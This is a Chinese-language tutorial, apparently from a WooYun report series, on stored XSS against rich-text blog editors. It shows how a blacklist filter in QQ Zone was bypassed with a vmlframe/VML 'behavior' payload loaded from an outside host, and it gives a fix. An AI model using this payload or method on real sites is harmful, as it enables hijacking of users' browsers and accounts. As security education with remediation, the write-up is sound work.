# 20\. 存儲型 XSS 入門 [套現繞過富文本]
> 來源:[20\. 存儲型 XSS 入門 \[套現繞過富文本\]](http://www.wooyun.org/bugs/wooyun-2010-016779)
## 簡要描述
很多應用含有富文本內容,這類應用最典型的特征是具有編輯器,例如:博客日志,郵箱等。這類應用往往允許使用一定的 HTML 代碼。 為了在用戶體驗和安全之間尋找平衡,各種廠商可能采用了不盡相同的辦法。但是總體來說,有 2 類。
第 1 類我們稱為白名單,即:只允許使用白名單內的合法 HTML 標簽,例如 IMG。其它均剔除。例如:百度貼吧回帖時候的代碼過濾方 式。
第 2 類我們稱為黑名單,即:廠商會構建一個有危害的 HTML 標簽、屬性列表,然后通過分析用戶提交的 HTML 代碼,剔除其中有害的部 分。 如:QQ 郵箱的發郵件時的過濾方式。
白名單要安全得多,而黑名單的方式則經常會被繞過。
繞過的技巧也有很多,我們可以從最沒技術含量的開始說起!! 本節將以 QQ 空間/QQ 校友的日志功能為例來說明,什么是“套現繞過富 文本”!
注意:本節說的“套現”,不是與“錢”有關的;在這里的含義是:“套用現成的 XSS 代碼”。
## 詳細說明
1\. 新手平時測試 XSS 時,經常會用到`<script>alert(1)</script>`到處插入,看效果。
2\. 這種做法,在某些反射型 XSS,或者你運氣好的時候,確實能碰到。但是如果拿到 QQ 空間日志里去插入。嗯,后果一定會很悲壯, 被過濾的毛都沒有了。。
3\. 這是為什么呢?因為`<script>`在騰訊的黑名單中,被過濾是理所當然的。
4\. 試想,如果我們找到一個不在騰訊黑名單中的 XSS 代碼,豈不是就可以成功在日志里執行 XSS 了么?
5\. 有的人會問了。。哪里去找啊?? 方法有 2 種:
5.1 你足夠牛,自己去發現。
5.2 已經有大牛為我們準備了很好的資料,去里面翻。
6\. 我不夠牛,所以我只能去大牛的資料里翻咯。
這里我翻的是 @sogili 維護的 http://html5sec.org/ ,里面有很多哦

7\. 然后我就開始按照下面的流程慢慢測試。
先進 QQ 空間,發表一個日志,然后編輯日志,同時抓包。

修改抓包內容后,這里修改的是日志內容。提交修改后的數據包! 然后我們來看看日志里的源代碼里,我們提交的 XSS 代碼是否被過濾。

8\. 這里我們就不說失敗的了,直接說成功的部分。
我們提交以下代碼:
```
<vmlframe xmlns="urn:schemas-microsoft-com:vml" style="behavior:url(#default#vml);position:absolute;width:100%;height:100%" src="http://itsokla.duapp.com/shouzi.vml#xss"></vmlframe>
```
然后看看源代碼的輸出:

可以看到,這個 XSS 代碼完全沒過濾。
9\. 我們可以看到 XSS 的效果。鼠標移到日志上,即會觸發 XSS 代碼。

10.1 使用代碼前,先自己在本地試下,是否能執行!搞清楚你所使用的 XSS 代碼的原理是什么!
10.2 搞清楚 XSS 代碼的適用范圍:如:在什么瀏覽器的什么版本之下才能使用,是否需要用戶交互等。
10.3 注意平時對此類代碼的搜集與整理。
## 修復方案
過濾 behavior, 和你們修復郵箱里相同問題的方法一樣即可。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]